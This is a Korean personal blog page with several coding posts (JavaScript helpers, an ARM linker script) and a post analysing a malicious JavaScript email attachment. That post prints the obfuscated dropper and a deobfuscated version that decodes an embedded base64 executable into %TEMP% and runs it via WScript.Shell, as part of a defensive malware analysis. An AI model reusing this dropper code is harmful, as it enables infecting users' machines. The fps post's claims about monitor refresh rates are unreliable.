블로그 이미지
안녕1999

카테고리

전체 (3067)
자바스크립트 (20)
안드로이드 (14)
WebGL (4)
변비 (17)
정치,경제 (35)
C언어,ARM (162)
컴퓨터(PC, Note Book, 윈.. (41)
전자회로, PCB (27)
유머,안웃긴,GIF,동영상 (118)
국부론60 (71)
모듈(PCB) (3)
건강 (2)
FreeCAD (25)
PADS (43)
퇴직,퇴사,구직,취업 활동 (3)
C# (86)
엑셀 (8)
워드 (0)
LabView (6)
레고 (30)
FPGA (0)
Total
Today
Yesterday

달력

« » 2024.5
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

공지사항

최근에 올라온 글

html문서에 아래와 같이 자바스크립트 파일을 추가하면,

<script src="xxx.j"></script>

웹브라우져는 모든 파일을 로딩하고, 파싱한다.
따라서, 각 스크립트파일간 함수 의존관계 체크는 모든 스크립트 파일이 로딩된 이후에 처리된다.

그러나, include함수를 작성하여, 필요시마다 include할 경우,
해당 스크립트에서 사용하는 함수가 없을 경우, 에러처리된다.
따라서, include 순서가 중요해진다.

//로드되기전에, 다른 파일에 있는 함수를 참조할 경우, 에러발생(html에 스크립트파일로 추가하는 경우엔, 모두 로딩되고나서 실행되므로 에러 발생없음)

var include_file_cnt=0;

function include(file)

{

var script=document.createElement('script');

script.src=file;

include_file_cnt++;

script.onload=function()

{

console.log("include(",file,")");

include_file_cnt--;

if(include_file_cnt==0)

{

main();

}

}

document.body.appendChild(script);

//console.log("include",file);

return script;

}

include("hxxx.j");

include("wxxx.j");


Posted by 안녕1999
, |

sprintf

자바스크립트 / 2017. 5. 27. 23:30
function sprintf(fmt)
{
	var a,b,len=fmt.length,i=0,j=1,buf="";
	while(len--)
	{
		a=fmt.charAt(i);
		if(a=='%')
		{
			i++;
			b=fmt.charAt(i);
			switch(b)
			{
			case 'd':case 'D':case 's':case 'S':case 'f':case 'F':case 'u':case 'U':
				buf+=arguments[j];j++;
				break;
			case 'x':
				buf+=arguments[j].toString(16);j++;
				break;
			case 'X':
				buf+=arguments[j].toString(16).toUpperCase();j++;
				break;
			case '%':
				buf+="%";
				break;
			default:
				buf+=a;
			}
		}
		else
		{
			buf+=a;
		}
		//console.log(buf);
		i++;
	}
	return buf;
}


Posted by 안녕1999
, |

requestAnimationFrame

과거에 게임의 화면 재생속도논쟁이 있었다.

"fps"로 표시되는, 1초에 몇장의 화면을 그리는것이 좋은가?

1초에 얼마나 많은 화면을 그려야 좋은가?

모니터가 그릴 수 있는 화면이 30~60장/초 인데도, 게임유저들은 100fps가 넘는 고사양을 선호했던 논쟁이었다.(아직도 진행형)

"모르면 무식하다."는 말이 여기에도 적용되는듯.


정리하면, 모니터 화면 재생속도이상 더 빨리, 많이 그려봐야, 손해다.

이는 W3C(World Wide Web 컨소시엄)에서 requestAnimationFrame 기능(함수) 하나로 종결되었다.


 저는 밑의 설정과 프로그램 작업을 하지않고 무작정 오버워치를 했을 때최저옵에서도 30~40프레임이 나올정도였습니다.하지만 밑의 작업을 통해 65~70프레임 유지 중입니다.


ㅎㅎ 모르는것은 죄가 아니나, 알려고 하지않는것은 잘못이다.

다시 말하지만, 모니터 재생속도를 넘는 오버 프레임출력은 무용지물이며, 더 안좋은 결과를 초래한다.

보통 모니터들이 30~60fps이므로, 그 이상은 필요가 없다.




  1. 017교육브랜드대상, 전문 게임학원, 실무강사진, 취업전문학원, 수강료조회


Posted by 안녕1999
, |

부트로더 주소설정방법

LinkerScript.ld


SECTIONS

{

  .boot_loader :

  {

    . = ALIGN(4);

    KEEP(*(.boot_loader)) /* Startup code */

    . = 0x4000;

  } >FLASH


   /* The startup code goes first into FLASH */

  .isr_vector :

  {

    . = ALIGN(4);

    KEEP(*(.isr_vector)) /* Startup code */

    . = ALIGN(4);

  } >FLASH





Generate binary file

Generate hex file

main.o  :

section               size         addr

.boot_loader         16384    134217728 <<====0x8000000

.isr_vector            388    134234112 <<====0x8004000

.text                43480    134234500

.ARM.attributes         41            0



부트로더가 없다면, 실행되지 않는다. 부트로더에서 호출해주어야 실행된다.








SECTIONS

{

  .boot_loader :

  {

    . = ALIGN(4);

    KEEP(*(.boot_loader)) /* Startup code */

    . = 0x0000;

  } >FLASH


   /* The startup code goes first into FLASH */

  .isr_vector :

  {

    . = ALIGN(4);

    KEEP(*(.isr_vector)) /* Startup code */

    . = ALIGN(4);

  } >FLASH




Generate binary file

Generate hex file

main.o  :

section               size         addr

.boot_loader             0    134217728 <<===0x8000000

.isr_vector            388    134217728 <<===0x8000000

.text                43480    134218116

.ARM.attributes         41            0

.init_array              8    134261596


Posted by 안녕1999
, |

요즘 회사메일로 스펨메일이 많이 오고 있다.

스펨등록을 해도 소용이 없다. 매번 다른 메일주소로 날라오니...


너무 많이 오는통에, 짜증이나서,

이 쓰레기같은 메일이 무엇인지 분석해보았다.


첨부파일은 압축파일이며,

압축파일 안에는 자바스크립트 파일이 들어 있다.


자바스크립트파일은 메모장에서도 편집이 가능하다.

var ZYb = " 321" + "";

var KXi6 = "Run" + "";

var Ts = "in" + "";

var Gf9 = ".b" + "";

var Nk2 = "xe" + "";

var ZQl = ".e" + "";

function YPp4(Qp){return Qp;};var FGi3 = "l" + "";

var Pg6 = "ESv" + "";

var ELz = "K2DPj" + "";

function Fw5(NGi){return NGi;};var Yh7 = "%/" + "";

var PEl = "MP" + "";

var Hm = "%TE" + "";

function So4(XUz3){return XUz3;};var Gj = "l" + "";

var Dv8 = "Shel" + "";

var Uq = "pt." + "";

var YBh = "WScri" + "";


(생략) 


var v_bin = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAA

Byd01o5gz0vfxXl3DacBcKAAAM9JWvsaeyBL39oHJffNj7F6LwjPS9/G5+91gzYvCMwVI5FEAM9L38YvC

/1g2uAgAAa8ARM8Mz21OJRfj/FeT4QAD/1ovw/9cD8P/Xi038A8YxRfgz0oHJu7fc0WoEWPfxM9K5fvyty

BACU9m57XofjjQQAzRZwFfGFRqjPA99A10Gx46PfQjQC4pdhO1VCPhWD///+4UtQ2Bf915I+FWP///+h

6iQ/g6MGH/OLHRxBbZ1XYj1SZ9grtGMkROxWRLV0V3b/XmTqmd0F86fNumVTqOJOjb15Ufh8rFM2OF


(생략) 

var WUc6          = 1
var BMd             = (8330 - 8330)
var VKb = (-6867 + 6869)
var WMg4          = (9211 - 9210)

function UBb2(Rl, Nh8) {
    var TYp = WScript[Op + Gu + Tz]((function Ex9(){return VAg;}()) + DNx2 + NLp + Ke5 + PQo8 + Ki + KDm6);
    var UQp = TYp[CYr + ALc + (function FSn(){return RCm6;}())](Rl);
    var Pe0 = UQp[GRq + GHc + TXp + (function XTm4(){return Gf;}())](WUc6, BMd);
    
    var Zn = WScript[SSz0(Op) + (function By(){return Gu;}()) + Tz](Pr + Km + Io + Cj + Sb + UTx);
    var KBc3 = Zn[AJc5 + Vi8 + ZOa2(Vk) + UGy](Ci0 + Gl + DUt8);
    KBc3[Vf + Vv] = "bin.base64";
    
    KBc3[AJh8] = Pe0[Ra9(RDj) + Io0(Za9)]();
    
    var CFt2 = WScript[Op + Gu + Tz](APa7 + Vi2 + (function OBc8(){return Oi8;}()) + JQd + WPi8(XTq));
    CFt2[AZl4] = WMg4;
    CFt2[YVm + (function LKz6(){return TPz;}())]();
    
    CFt2[FHb7 + EFk](KBc3[Lr4 + Gn4 + Px + Yy + WRr]);
    CFt2[Pw5 + Me + SPa2 + CBe](Nh8, VKb);
    
    Pe0[Mk]();
    CFt2[Mk]();
}


function Vx5(QFk, Nh8)
{
   var Og, NKj, QGj8
   var PDt2 = 31 - 30, AWl3 = 2;
   Og = new ActiveXObject(VAg + DNx2 + NLp + Ke5 + PQo8 + Ki + KDm6)
   NKj = Og[HXi5 + (function VPk1(){return Nb0;}()) + BIy3 + Kh4](Nh8, AWl3, true)
   NKj[FHb7 + EFk](QFk);
   NKj[Mk]();
   NKj = Og[Em9(HXi5) + Nb0 + BIy3 + Kh4](Nh8, PDt2);
   QGj8 = NKj[IBc + Yb1 + Nf8]();
   return(QGj8);
}

var EQl7=WScript[Op + OXk7(Gu) + Tz]((function WQg(){return YBh;}()) + Uq + Dv8 + So4(Gj));
var HHo3=EQl7.ExpandEnvironmentStrings(Hm + Fw5(PEl) + (function At(){return Yh7;}()));
var Gw5=HHo3 + ELz + YPp4(Pg6) + FGi3;
var RZh4=Gw5 + ZQl + Nk2;
var v_binpath=RZh4+Gf9+Ts;

try {
Vx5(v_bin, v_binpath);
UBb2(v_binpath, RZh4);
//EQl7[KXi6](RZh4 + ZYb);
}
catch (e) {WScript.Quit(1);};
WScript.Quit(0);



자바스크립트는 위와 같이 암호화 되어 있다.


var v_bin = "TVqQAAMAAAAEAAAA..."

이 내용은 Base64라는 코딩 방식이며, 내용물은 실행파일이 들어 있다.


스크립트문을 풀어보면


function Base64_to_bin_file(Rl, Nh8) {

    var TYp = WScript["CreateObject"]("Scripting.FileSystemObject");

    var UQp = TYp["GetFile"](Rl);

    var Pe0 = UQp["OpenAsTextStream"](1, 0);

    

    var Zn = WScript["CreateObject"]("MSXml2.DOMDocument");

    var KBc3 = Zn["createElement"]("Base64Data");

    KBc3["dataType"] = "bin.base64";

    

    KBc3["text"] = Pe0["ReadAll"]();

    

    var CFt2 = WScript["CreateObject"]("ADODB.Stream");

    CFt2["Type"] = 1;

    CFt2["Open"]();

    

    CFt2["Write"](KBc3["nodeTypedValue"]);

    CFt2["SaveToFile"](Nh8, 2);

    

    Pe0["Close"]();

    CFt2["Close"]();

}



function Create_K2DPjESvl_exe(QFk, Nh8)

{

   var Og, NKj, QGj8

   Og = new ActiveXObject("Scripting.FileSystemObject")

   NKj = Og["OpenTextFile"](Nh8, 2, true)

   NKj["Write"](QFk);

   NKj["Close"]();

   NKj = Og["OpenTextFile"](Nh8, 1);

   QGj8 = NKj["ReadLine"]();

   return(QGj8);

}


var EQl7=WScript["CreateObject"]("WScript.Shell");


var v_binpath=EQl7.ExpandEnvironmentStrings("%TEMP%/") + "K2DPjESvl.exe.bin";


try {

Create_K2DPjESvl_exe(v_bin, v_binpath);

Base64_to_bin_file(v_binpath, EQl7.ExpandEnvironmentStrings("%TEMP%/") + "K2DPjESvl.exe");

EQl7["Run"](EQl7.ExpandEnvironmentStrings("%TEMP%/") + "K2DPjESvl.exe 321");

}

catch (e) {WScript.Quit(1);};

WScript.Quit(0); 


위와 같이 아주 간단한 내용이다.


var v_bin = "TVqQAAMAAAAEAAAA..."

이내용을 파일로 저장하고, 다시 읽어서, Base64로 실행파일로 저장한 다음, 실행한다.


메일을 받은 사람이 자바스크립트 파일을 열어보는 순간, 자바스크립트가 실행되어,

실행파일을 생성하고, 실행파일을 동작시킨다.


(메모장으로 열때는 편집만 된다. 실행은 안된다.)

그러나 실수로, 인터넷 익스플로어로 열게되면, 자바스크립트가 실행된다.


실행파일의 내용은 시간관계상 분석 못한다.

관심있는분이 분석해주시면 감사하겠습니다.


INV000 b1a7.js(바이러스).zip


위 파일에는 내가 메일로 받은 파일이 들어있다.

안전을 위해, 파일확장자를 txt로 바꾸었으니, 실행되지는 않는다.

또한, 안전을 위해, 실행파일을 실행하는 명령은 주석처리가 되어 있다.

받아서, 메모장으로 열어봐도 문제는 없다.



보나마나 뻔한게, 랜섬웨어일 가능성이 높다.

요즘 돈되는건 랜섬웨어가 최고이니...


랜섬웨어는 하드디스크의 파일을 암호화시키고, 돈을 요구하는 프로그램이다.

돈 안주면, 파일 복구못한다.



마지막 실행문장은 제거후, 자바스크립트를 실행해서, 실행파일을 생성했다.

실행파일은 %TEMP%폴더에 생성된다.

윈도우 탐색기 주소창에 넣으면, 해당 폴더로 이동한다.


실행파일의 정보는 위와 같다.




실행파일이 사용하는 함수는 위와 같다. 177k의 비교적 작은 크기임에도, 온갖 종류의 기능은 다 사용하는듯 하다.

아마, 한번 실행되면, 여기저기 복사본을 만들듯 싶다.

스펨광고창부터, 랜섬웨어 기능까지...(추측)



www.hybrid-analysis.com

멜웨어, 바이러스등을 무료로, 자동으로 분석해주는 사이트이다.

분석결과는 "잘 모르겠음" ㅎㅎ(예상한대로)


https://www.hybrid-analysis.com/sample/0ae741fbcae6fb5af7bdec6e8219d02b522e74ac20906703b2573e14d1101252?environmentId=100


가상PC에서 직접 실행하면서 분석하기도 하나봅니다.


프로그램이라는게, 실행파일이 되면, 기계어코드만 남기때문에, 해당 코드가 무슨 목적으로 동작하는지 분석하기는 쉽지 않습니다.

해당 프로그램이 어떤 함수들을 호출하더라...는 정보로, 대충, 이럴것이다.

좀더 의심이 가면, 하나씩 분석을하게되면, 시간이 상당히 오래걸립니다.


제거 보기에는 이 프로그램은 암호화 기능을 사용해서, 랜덤하게 프로그램 코드를 생성하는듯 싶습니다.

그래야 백신프로그램도 잘 못잡거든요.


어쨌든, 전 시간이 없어, 더이상은 못합니다.


관심있으신분들 한번 분석해보시기 바랍니다.




  1. 안랩 랜섬웨어예방 - ahnlab.com‎

    광고www.ahnlab.com/
    최신 랜섬웨어 정보부터 피해 예방 가이드, 전용 백신까지!


Posted by 안녕1999
, |

최근에 달린 댓글

글 보관함